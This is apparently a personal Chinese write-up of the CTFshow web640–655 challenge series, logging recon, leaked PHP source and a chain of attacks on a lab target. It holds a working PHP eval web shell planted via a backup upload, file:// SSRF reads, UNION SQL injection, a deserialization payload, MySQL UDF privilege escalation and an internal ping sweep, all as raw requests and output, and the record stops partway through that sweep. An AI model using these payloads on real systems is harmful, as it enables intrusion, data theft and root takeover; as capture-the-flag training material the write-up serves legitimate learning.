CTFshow_终极考核_个人WP

CTFshow_终极考核

参考

不打算参考

0x00 web640

flag_640=ctfshow{060ae7a27d203604baeb125f939570ef}

image-20211108103344736

这里就陆陆续续记录些杂乱的做题笔记吧

  • 做之前提醒自己

    • 信息收集
    • 后果必有前因
  • 640前端发现可疑路径 system36d

  • PHP/7.3.22 nginx/1.21.1

  • (img-WcUwBJOM-1641386650664)(img-pQTtjodl-1641386448569)]

  • [10:52:15] 200 -   43B  - /.bowerrc
    [10:53:35] 200 -   34B  - /.gitignore
    [10:56:09] 200 -    2KB - /.travis.yml
    [11:32:36] 200 -    3KB - /page.php
    [11:37:03] 200 -   19B  - /robots.txt
    [11:39:59] 301 -  169B  - /static  ->  http://650f6de9-93cb-40c1-a3fc-116f23260dc3.challenge.ctf.show/static/
    
    
    .bowerrc
    {
        "directory" : "vendor/bower-asset"
    }
    
    .gitignore
    /.idea
    /.vscode
    /vendor
    *.log
    .env
    
    .travis.yml
    略
    
    robots.txt
    
  • page.php

  • <!-- partial:index.partial.html -->
    
  • robots.txt=>source.txt

    include 'init.php';
    
    function addUser($data,$username,$password){
    	$ret = array(
    		'code'=>0,
    		'message'=>'添加成功'
    	);
    	if(existsUser($data,$username)==0){
    		$s = $data.$username.'@'.$password.'|';
    		file_put_contents(DB_PATH, $s);
    
    	}else{
    		$ret['code']=-1;
    		$ret['message']='用户已存在';
    	}
    
    	return json_encode($ret);
    }
    
    function updateUser($data,$username,$password){
    	$ret = array(
    		'code'=>0,
    		'message'=>'更新成功'
    	);
    	if(existsUser($data,$username)>0 && $username!='admin'){
    		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
    		file_put_contents(DB_PATH, $s);
    
    	}else{
    		$ret['code']=-1;
    		$ret['message']='用户不存在或无权更新';
    	}
    
    	return json_encode($ret);
    }
    
    function delUser($data,$username){
    	$ret = array(
    		'code'=>0,
    		'message'=>'删除成功'
    	);
    	if(existsUser($data,$username)>0 && $username!='admin'){
    		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
    		file_put_contents(DB_PATH, $s);
    
    	}else{
    		$ret['code']=-1;
    		$ret['message']='用户不存在或无权删除';
    	}
    
    	return json_encode($ret);
    
    }
    
    function existsUser($data,$username){
    	return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
    }
    
    function initCache(){
    	return file_exists('cache.php')?:file_put_contents('cache.php','<!-- ctfshow-web-cache -->');
    }
    
    function clearCache(){
    	shell_exec('rm -rf cache.php');
    	return 'ok';
    }
    
    function flushCache(){
    	if(file_exists('cache.php') && file_get_contents('cache.php')===false){
    		return FLAG646;
    	}else{
    		return '';
    	}
    }
    
    function netTest($cmd){
    	$ret = array(
    		'code'=>0,
    		'message'=>'命令执行失败'
    	);
    
    	if(preg_match('/ping ((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}/', $cmd)){
    		$res = shell_exec($cmd);
    		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
    		
    	}
    	if(preg_match('/^[A-Za-z]+$/', $cmd)){
    		$res = shell_exec($cmd);
    		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
    	}
    	
    	return json_encode($ret);
    }
    
  • system36d/

  • system36d/login.php

  • system36d/login.php 看起来是前端加密 审计JS

    • image-20211109171817019
    • image-20211109171524309
    • 0x36d
  • 根据跳转,获取网址 /system36d/checklogin.php?s=10

    • 该网页会返回cookie uid,然后才能根据302重定向到 /system36d/main.php
    • 尝试修改参数值为101,无注入
  • /system36d/main.php 主要功能

    image-20211109172830597

  • 数据备份会备份出用户名和密码 有645flag

  • phpinfo

    • disable_functions

      var_dump,curl_init,curl_exec,opendir,readdir,scandir,chdir,mkdir,stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,ini_set	
      
  • 很明显源码泄露是在这里 main.php

  • 命令执行 /system36d/users.php?action=netTest&cmd=whoami

    • 尝试绕过正则

    • if(preg_match('/^[A-Za-z]+$/', $cmd)){
      		$res = shell_exec($cmd);
      		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
      	}
      
    • 失败

    • 记录下 纯字母执行结果

  • ls
    {"code":0,"message":"checklogin.php\ndb
    \nindex.php\ninit.php\nlogin.php\nlogout.php\nmain.php\nsecret.txt\nstatic\nupdate.php\nupdate2.php\nusers.php\nutil\n"}
    checklogin.php
    db
    index.php 642flag
    init.php
    login.php
    logout.php
    main.php
    secret.txt 643flag
    static
    update.php
    update2.php
    users.php
    util
    
  • 数据备份

    /system36d/users.php?action=backup
    
    HTTP/1.1 200 OK
    Server: nginx/1.21.1
    Date: Sun, 21 Nov 2021 08:07:09 GMT
    Content-Type: application/octet-stream
    Connection: close
    Accept-Length: 185
    Accept-Ranges: bytes
    Cache-Control: no-store, no-cache, must-revalidate
    Content-Disposition: attachment; filename=backup.dat
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Pragma: no-cache
    X-Powered-By: PHP/7.3.22
    Content-Length: 185
    
    aab@aab|a1@bbb123|a2@bbb123|a3@bbb123|a4@bbb123|a5@bbb123|a6@bbb123|a11@bbb123|a111@bbb123|a112@bbb123|a113@bbb123|a114@bbb1234|admin@flag_645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}|
    
  • 数据还原

    /system36d/users.php?action=upload
    
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1qlfRm0gVIoKhBvA
    Content-Length: 349
    
    
    ------WebKitFormBoundary1qlfRm0gVIoKhBvA
    Content-Disposition: form-data; name="file"; filename="backup.dat"
    Content-Type: application/octet-stream
    
    a113@bbb123|a114@bbb1234|admin@flag_645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}|a2@bbb123|
    ------WebKitFormBoundary1qlfRm0gVIoKhBvA--
    

    猜测数据以文件形式存储,看main.php也能看出来

  • 访问 update2.php

    <br />
    <b>Parse error</b>:  syntax error, unexpected ''您已经是最新' (T_ENCAPSED_AND_WHITESPACE) in <b>/var/www/html/system36d/update2.php</b> on line <b>15</b><br />
    
  • 访问 update2.php

    您已经是最新版本
    
  • 系统更新-权限key验证

    /system36d/users.php?action=authKeyValidate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D
    
    {"code":0,"message":"\u9a8c\u8bc1\u6210\u529f","status":"0"}
    
    验证成功
    
  • 系统更新在线更新

    /system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=http%3A%2F%2Fc1f3d4b5-3fb3-4e17-a774-0e99e9b9d231.challenge.ctf.show%2Fsystem36d%2Fupdate.php 
    
    地址不可达
    
    /system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=http://127.0.01/system36d/update.php
    
    您已经是最新版本
    
  • 网络测试 部分RCE

  • PHPinfo

    /system36d/users.php?action=phpInfo
    
  • 没东西了回头看SSRF成功了

    /system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=file:///var/www/html/system36d/update.php
    
    {"code":0,"message":"<?php\r\n\r\n\/*\r\n# -*- coding: utf-8 -*-\r\n# @Author: h1xa\r\n# @Date:   2021-07-31 21:58:38\r\n# @Last Modified by:   h1xa\r\n# @Last Modified time: 2021-08-01 01:52:33\r\n# @email: h1xa@ctfer.com\r\n# @link: https:\/\/ctfer.com\r\n\r\n*\/\r\n\r\necho '\u60a8\u5df2\u7ecf\u662f\u6700\u65b0\u7248\u672c';\r\n"}
    
    /system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=file:///var/www/html/system36d/init.php
    
    {"code":0,"message":"<?php\r\n\r\n\/*\r\n# -*- coding: utf-8 -*-\r\n# @Author: h1xa\r\n# @Date:   2021-07-31 15:28:30\r\n# @Last Modified by:   h1xa\r\n# @Last Modified time: 2021-07-31 22:09:59\r\n# @email: h1xa@ctfer.com\r\n# @link: https:\/\/ctfer.com\r\n\r\n*\/\r\n\r\n\r\ndefine('DB_PATH', __DIR__.'\/db\/data_you_never_know.db');\r\ndefine('FLAG645','flag645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}');\r\ndefine('FLAG646','flag646=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}');\r\n\r\n\/\/\u5b58\u5728\u6f0f\u6d1e\uff0c\u672a\u4fee\u8865\u524d\u6ce8\u91ca\u6389\r\n\/\/include 'util\/common.php';"}
    
    \u5b58\u5728\u6f0f\u6d1e\uff0c\u672a\u4fee\u8865\u524d\u6ce8\u91ca\u6389
    存在漏洞,未修补前注释掉
    
  • open_basedir 限制 /var/www/html:/tmp

  • DB_PATH = /db/data_you_never_know.db

  • system36d/util/common.php

    <?php    
        
    include 'dbutil.php';    
    if($_GET['k']!==shell_exec('cat /FLAG/FLAG651')){    
        die('651flag\u672a\u62ff\u5230');    
    }    
    if(isset($_POST['file']) && file_exists($_POST['file'])){    
        if(db::get_key()==$_POST['key']){    
            include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];   
        } 
    }
    
  • system36d/util/dbutil.php

    <?php
    
    class db{
        private static $host='localhost';
        private static $username='root';
        private static $password='root';
        private static $database='ctfshow';
        private static $conn;
    
        public static function get_key(){
            $ret = '';
            $conn = self::get_conn();
            $res = $conn->query('select `key` from ctfshow_keys');
            if($res){
                $row = $res->fetch_array(MYSQLI_ASSOC);
            }
            $ret = $row['key'];
            self::close();
            return $ret;
        }
    
        public static function get_username($id){
            $ret = '';
            $conn = self::get_conn();
            $res = $conn->query("select `username` from ctfshow_users where id = ($id)");
            if($res){
                $row = $res->fetch_array(MYSQLI_ASSOC);
            }
            $ret = $row['username'];
            self::close();
            return $ret;
        }
    
        private static function get_conn(){
            if(self::$conn==null){
                self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
            }
            return self::$conn;
        }
    
        private static function close(){
            if(self::$conn!==null){
                self::$conn->close();
            }
        }
    
    }
    
  • util/auth.php

    if($_SESSION['user_id']==10 || $_SESSION['user_id']==99){\r\n\r\n}else{\r\n\theader('location:\/system36d\/');
    
  • checklogin.php

    $s=$_GET['s'];\r\nsetcookie('uid',intval($s));\r\n$_SESSION['user_id']=intval($s);\r\nheader('location:main.php');\r\n\r\n"}
    
  • user.php

    <?php
    
    
    error_reporting(0);
    session_start();
    include 'init.php';
    
    $a=$_GET['action'];
    
    
    $data = file_get_contents(DB_PATH);
    $ret = '';
    switch ($a) {
        case 'list':
            $ret = getUsers($data,intval($_GET['page']),intval($_GET['limit']));
            break;
        case 'add':
            $ret = addUser($data,$_GET['username'],$_GET['password']);
            break;
        case 'del':
            $ret = delUser($data,$_GET['username']);
            break;
        case 'update':
            $ret = updateUser($data,$_GET['username'],$_GET['password']);
            break;
        case 'backup':
            backupUsers();
            break;
        case 'upload':
            $ret = recoveryUsers();
            break;
        case 'phpInfo':
            $ret = phpInfoTest();
            break;
        case 'netTest':
            $ret = netTest($_GET['cmd']);
            break;
        case 'remoteUpdate':
            $ret = remoteUpdate($_GET['auth'],$_GET['update_address']);
            break;
        case 'authKeyValidate':
            $ret = authKeyValidate($_GET['auth']);
            break;
        case 'evilString':
            evilString($_GET['m']);
            break;
        case 'evilNumber':
            evilNumber($_GET['m'],$_GET['key']);
            break;
        case 'evilFunction':
            evilFunction($_GET['m'],$_GET['key']);
            break;
        case 'evilArray':
            evilArray($_GET['m'],$_GET['key']);
            break;
        case 'evilClass':
            evilClass($_GET['m'],$_GET['key']);
            break;
        default:
            $ret = json_encode(array(
            'code'=>0,
            'message'=>'\u6570\u636e\u83b7\u53d6\u5931\u8d25',
            ));
            break;
    }
    
    echo $ret;
    
    
    
    function getUsers($data,$page=1,$limit=10){
        $ret = array(
            'code'=>0,
            'message'=>'\u6570\u636e\u83b7\u53d6\u6210\u529f',
            'data'=>array()
        );
    
        
        $isadmin = '\u5426';
        $pass = '';
        $content='\u65e0';
    
        $users = explode('|', $data);
        array_pop($users);
        $index = 1;
    
        foreach ($users as $u) {
            if(explode('@', $u)[0]=='admin'){
                $isadmin = '\u662f';
                $pass = 'flag\u5c31\u662f\u7ba1\u7406\u5458\u7684\u5bc6\u7801\uff0c\u4e0d\u8fc7\u6211\u9690\u85cf\u4e86';
                $content = '\u5220\u9664\u6b64\u6761\u8bb0\u5f55\u540eflag\u5c31\u4f1a\u6d88\u5931';
            }else{
                $pass = explode('@', $u)[1];
            }
            array_push($ret['data'], array(
                'id'=>$index,
                'username'=>explode('@', $u)[0],
                'password'=>$pass,
                'isAdmin'=>$isadmin,
                'content'=>$content
            ));
            $index +=1;
        }
        $ret['count']=$index;
        $start = ($page-1)*$limit;
        $ret['data']=array_slice($ret['data'], $start,$limit,true);
    
        return json_encode($ret);
    
    }
    
    function addUser($data,$username,$password){
        $ret = array(
            'code'=>0,
            'message'=>'\u6dfb\u52a0\u6210\u529f'
        );
        if(existsUser($data,$username)==0){
            $s = $data.$username.'@'.$password.'|';
            file_put_contents(DB_PATH, $s);
    
        }else{
            $ret['code']=-1;
            $ret['message']='\u7528\u6237\u5df2\u5b58\u5728';
        }
    
        return json_encode($ret);
    }
    
    function updateUser($data,$username,$password){
        $ret = array(
            'code'=>0,
            'message'=>'\u66f4\u65b0\u6210\u529f'
        );
        if(existsUser($data,$username)>0 && $username!='admin'){
            $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\\|/', $username.'@'.$password.'|', $data);
            file_put_contents(DB_PATH, $s);
    
        }else{
            $ret['code']=-1;
            $ret['message']='\u7528\u6237\u4e0d\u5b58\u5728\u6216\u65e0\u6743\u66f4\u65b0';
        }
    
        return json_encode($ret);
    }
    
    function delUser($data,$username){
        $ret = array(
            'code'=>0,
            'message'=>'\u5220\u9664\u6210\u529f'
        );
        if(existsUser($data,$username)>0 && $username!='admin'){
            $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\\|/', '', $data);
            file_put_contents(DB_PATH, $s);
    
        }else{
            $ret['code']=-1;
            $ret['message']='\u7528\u6237\u4e0d\u5b58\u5728\u6216\u65e0\u6743\u5220\u9664';
        }
    
        return json_encode($ret);
    
    }
    
    function existsUser($data,$username){
        return preg_match('/'.$username.'@[0-9a-zA-Z]+\\|/', $data);
    }
    
    function backupUsers(){
        $file_name = DB_PATH;
        if (! file_exists ($file_name )) {    
            header('HTTP/1.1 404 NOT FOUND');  
        } else {    
            $file = fopen ($file_name, "rb" ); 
            Header ( "Content-type: application/octet-stream" ); 
            Header ( "Accept-Ranges: bytes" );  
            Header ( "Accept-Length: " . filesize ($file_name));  
            Header ( "Content-Disposition: attachment; filename=backup.dat");     
            echo str_replace(FLAG645, 'flag\u5c31\u5728\u8fd9\u91cc\uff0c\u53ef\u60dc\u4e0d\u80fd\u7ed9\u4f60', fread ( $file, filesize ($file_name)));    
            fclose ( $file );    
            exit ();    
        }
    }
    
    function getArray($total, $times, $min, $max)
        {
            $data = array();
            if ($min * $times > $total) {
                return array();
            }
            if ($max * $times < $total) {
                return array();
            }
            while ($times >= 1) {
                $times--;
                $kmix = max($min, $total - $times * $max);
                $kmax = min($max, $total - $times * $min);
                $kAvg = $total / ($times + 1);
                $kDis = min($kAvg - $kmix, $kmax - $kAvg);
                $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
                $k = round($kAvg + $r);
                $total -= $k;
                $data[] = $k;
            }
            return $data;
     }
    
    
    function recoveryUsers(){
        $ret = array(
            'code'=>0,
            'message'=>'\u6062\u590d\u6210\u529f'
        );
        if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){
            $file_name= $_FILES['file']['tmp_name'];
            $result = move_uploaded_file($file_name, DB_PATH);
            if($result===false){
                $ret['message']='\u6570\u636e\u6062\u590d\u5931\u8d25 file_name'.$file_name.' DB_PATH='.DB_PATH;
            }
    
        }else{
            $ret['message']='\u6570\u636e\u6062\u590d\u5931\u8d25';
        }
    
        return json_encode($ret);
    }
    
    function phpInfoTest(){
        return phpinfo();
    
    }
    
    function authKeyValidate($auth){
        $ret = array(
            'code'=>0,
            'message'=>$auth==substr(FLAG645, 8)?'\u9a8c\u8bc1\u6210\u529f':'\u9a8c\u8bc1\u5931\u8d25',
            'status'=>$auth==substr(FLAG645, 8)?'0':'-1'
        );
        return json_encode($ret);
    }
    
    function remoteUpdate($auth,$address){
        $ret = array(
            'code'=>0,
            'message'=>'\u66f4\u65b0\u5931\u8d25'
        );
    
        if($auth!==substr(FLAG645, 8)){
            $ret['message']='\u6743\u9650key\u9a8c\u8bc1\u5931\u8d25';
            return json_encode($ret);
        }else{
            $content = file_get_contents($address);
            $ret['message']=($content!==false?$content:'\u5730\u5740\u4e0d\u53ef\u8fbe');
        }
    
        return json_encode($ret);
    
    
    }
    
    function evilString($m){
        $key = '372619038';
        $content = call_user_func($m);
        if(stripos($content, $key)!==FALSE){
            echo shell_exec('cat /FLAG/FLAG647');
        }else{
            echo 'you are not 372619038?';
        }
    
    }
    
    function evilClass($m,$k){
        class ctfshow{
            public $m;
            public function construct($m){
                $this->$m=$m;
            }
        }
    
        $ctfshow=new ctfshow($m);
        $ctfshow->$m=$m;
        if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
            echo shell_exec('cat /FLAG/FLAG648');
        }else{
            echo 'mmmmm?';
        }
    
    }
    
    function evilNumber($m,$k){
        $number = getArray(1000,20,10,999);
        if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
            echo shell_exec('cat /FLAG/FLAG649');
        }else{
            echo 'number is right?';
        }
    }
    
    function evilFunction($m,$k){
        $key = 'ffffffff';
        $content = call_user_func($m);
        if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
            echo shell_exec('cat /FLAG/FLAG650');
        }else{
            echo 'you are not ffffffff?';
        }
    }
    
    function evilArray($m,$k){
        $arrays=unserialize($m);
        if($arrays!==false){
            if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) &&  $k==shell_exec('cat /FLAG/FLAG650')){
                echo shell_exec('cat /FLAG/FLAG651');
            }else{
                echo 'array?';
            }
        }
    }
    
    function netTest($cmd){
        $ret = array(
            'code'=>0,
            'message'=>'\u547d\u4ee4\u6267\u884c\u5931\u8d25'
        );
    
        if(preg_match('/^[A-Za-z]+$/', $cmd)){
            $res = shell_exec($cmd);
            stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
        }
        
        return json_encode($ret);
    }
    
  • 下一个flag应该就在数据库里,但无法找到key,应该缺少点东西,决定重新整理源码

  • 找到了 page.php 中存在注入,数字型注入过滤引号,sqlmap一把梭

  • key : key_is_here_you_know

  • getshell了

  • POST http://aca586cf-1767-4b06-a801-1b36299b96ce.challenge.ctf.show/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6} HTTP/1.1
    Host: c1be7167-28a0-4504-a5cd-04ca07fe2de6.challenge.ctf.show
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://c1be7167-28a0-4504-a5cd-04ca07fe2de6.challenge.ctf.show/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: UM_distinctid=17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 85
    
    key=key_is_here_you_know&file=../db/data_you_never_know.db&1=echo shell_exec('ls /');
    

    密码1

172.2.177.4    web

cat /proc/net/arp 
IP address       HW type     Flags       HW address            Mask     Device
172.2.177.2      0x1         0x2         02:42:ac:02:b1:02     *        eth0
  • 找了半天,准备提权看看,有MySQL,udf提权

    image-20211123213519118

    show variables like '%plugin%';
    /usr/lib/mariadb/plugin/
    
    show variables like '%version_%';
    x86_64
    
    1=file_put_contents('udf.txt',hex2bin('7F454C4602010100000000000000000003003E00'));
    1=shell_exec('cp udf.txt /usr/lib/mariadb/plugin/udf.so');
    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
    select sys_eval('sudo ls /root -al');
    

    image-20211123214449058

    (img-2waQix1o-1641386448572)]

    flag_654=ctfshow{4ab2c2ccd0c3c35fdba418d8502f5da9} 
    
  • /etc/nginx/nginx.conf
    daemon off;
    
    worker_processes  auto;
    
    error_log  /var/log/nginx/ctfshow_web_error_log_file_you_never_know.log warn;
    
    
    events {
        worker_connections  1024;
    }
    
    http {
        include       /etc/nginx/mime.types;
        default_type  application/octet-stream;
        sendfile        on;
        keepalive_timeout  65;
        log_format  main  '[$time_local]:$remote_addr-$request-$status';
        access_log /var/log/nginx/ctfshow_web_access_log_file_you_never_know.log main;
        server {
            listen       80;
            server_name  localhost;
            root         /var/www/html;
            index index.php;
    
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    
            location / {
                try_files $uri  $uri/ /index.php?$args;
            }
    
            location ~ \.php$ {
                try_files $uri =404;
                fastcgi_pass   127.0.0.1:9000;
                fastcgi_index  index.php;
                include        fastcgi_params;
                fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            }
    
        }
    }
    
    /var/log/nginx/ctfshow_web_error_log_file_you_never_know.log
    /var/log/nginx/ctfshow_web_access_log_file_you_never_know.log
    

/usr/local/bin/docker-php-entrypoint

#!/bin/sh

mysqld_safe &amp;

mysql_ready() {
	mysqladmin ping --socket=/run/mysqld/mysqld.sock --user=root --password=root &gt; /dev/null 2&gt;&amp;1
}

while !(mysql_ready)
do
	echo &quot;waiting for mysql ...&quot;
	sleep 3
done

if [[ -f /flag.sh ]]; then
	source /flag.sh
fi

if [[ -f /var/www/html/db.sql ]]; then
    mysql -e &quot;source /var/www/html/db.sql&quot; -uroot -proot
    rm -f /var/www/html/db.sql
fi

php-fpm &

nginx &

tail -F /dev/null

0x01 web641

640抓包发现flag在头部

flag_641=ctfshow{affac61c787a82cc396585bea8ecf2dc}

0x02 web642

用路径system36d,访问,明显发现转跳到后台,看bp包,源码有flag

flag_642=ctfshow{11a17b6fbdc69cedfb374f55026700fe}

0x03 web643

/system36d/secret.txt

img-2Jnwtv4p-1641386448573]

flag_643=ctfshow{616cd5fc37968fc20810b2db30152717}

0x04 web644

在审计 system36d/login.php JS时,全局搜索unlock,发现flag

image-20211109171207065

flag_644=ctfshow{2bb9f2183f102f6f2aedbea4788f9f1d}

0x05 web645

/system36d/main.php 中的数据导出获取

flag_645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}

0x06 web646

ssrf

/system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=file:///var/www/html/system36d/init.php
flag646=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}

0x07 web647

img-G4LHCMaW-1641386448574]

m可控,需要执行无参函数,然后这个返回值中含有key

找了半天找到getenv

payload

/system36d/users.php?action=evilString&m=getenv&1=372619038

/system36d/users.php?action=evilString&m=getenv
flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}

0x08 web648

image-20211121195513913

没啥难度

/system36d/users.php?action=evilClass&m=scylamb&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}

0x09 web649

img-IT4WWUeX-1641386448576]

一直在想怎么传null,忽然意识到null就是不设置变量啊

/system36d/users.php?action=evilNumber&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}
flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}

0x0a web650

没区别啊

image-20211121200219375

/system36d/users.php?action=evilFunction&m=getenv&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}
flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}

0x0b web651

image-20211121202940706

poc

<?php

class ctfshow{
    public $ctfshow = 1;
    public $username = 2;
}

echo urlencode(serialize(new ctfshow));
/system36d/users.php?action=evilArray&m=O%3A7%3A%22ctfshow%22%3A2%3A%7Bs%3A7%3A%22ctfshow%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bi%3A2%3B%7D&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}

flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}

0x0c web652

http://c1be7167-28a0-4504-a5cd-04ca07fe2de6.challenge.ctf.show/page.php?id=-1)union+select+(SELECT+secret+FROM+ctfshow_secret)--+-

flag_652=ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}

0x0d web653

POST http://aca586cf-1767-4b06-a801-1b36299b96ce.challenge.ctf.show/system36d/users.php?action=upload HTTP/1.1
Host: c1be7167-28a0-4504-a5cd-04ca07fe2de6.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://c1be7167-28a0-4504-a5cd-04ca07fe2de6.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1qlfRm0gVIoKhBvA
Content-Length: 312


------WebKitFormBoundary1qlfRm0gVIoKhBvA
Content-Disposition: form-data; name="file"; filename="backup.dat"
Content-Type: application/octet-stream

a113@bbb123|a114@bbb1234|admin@flag_645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}|<?=eval($_POST[1]);?>|B3@bbb123|
------WebKitFormBoundary1qlfRm0gVIoKhBvA--
POST http://aca586cf-1767-4b06-a801-1b36299b96ce.challenge.ctf.show/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6} HTTP/1.1
Host: c1be7167-28a0-4504-a5cd-04ca07fe2de6.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://c1be7167-28a0-4504-a5cd-04ca07fe2de6.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

key=key_is_here_you_know&file=../db/data_you_never_know.db&1=echo shell_exec('ls /;cat /secret.txt');
flag_653=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}

0x0e web654

udf提权,root权限下 /root

0x0f web655

新篇章,内网横向,没学过,慢慢搞

  • 探测ip

  • 发现有Python

    1=echo `python3 -c "
    from multiprocessing import Pool
    import os
    def action(num1,num2):
    	for i in range(num1,num2):
    		poc = 'ping 172.2.62.{} -c 2 -w 1'.format(i)
    		result = os.system(poc)
    		print(result)
    		print(poc)
    pool = Pool(processes=10)
    pool.apply_async(action,args=(1,40))
    pool.close()
    pool.join()
    "`;
    
  • PING 172.2.62.1 (172.2.62.1): 56 data bytes
    64 bytes from 172.2.62.1: seq=0 ttl=64 time=0.092 ms
    
    --- 172.2.62.1 ping statistics ---
    2 packets transmitted, 1 packets received, 50% packet loss
    round-trip min/avg/max = 0.092/0.092/0.092 ms
    PING 172.2.62.2 (172.2.62.2): 56 data bytes
    64 bytes from 172.2.62.2: seq=0 ttl=64 time=0.398 ms
    
    --- 172.2.62.2 ping statistics ---
    2 packets transmitted, 1 packets received, 50% packet loss
    round-trip min/avg/max = 0.398/0.398/0.398 ms
    PING 172.2.62.3 (172.2.62.3): 56 data bytes
    64 bytes from 172.2.62.3: seq=0 ttl=64 time=0.371 ms
    
    --- 172.2.62.3 ping statistics ---
    2 packets transmitted, 1 packets received, 50% packet loss
    round-trip min/avg/max = 0.371/0.371/0.371 ms
    PING 172.2.62.4 (172.2.62.4): 56 data bytes
    64 bytes from 172.2.62.4: seq=0 ttl=64 time=0.117 ms
    
    --- 172.2.62.4 ping statistics ---
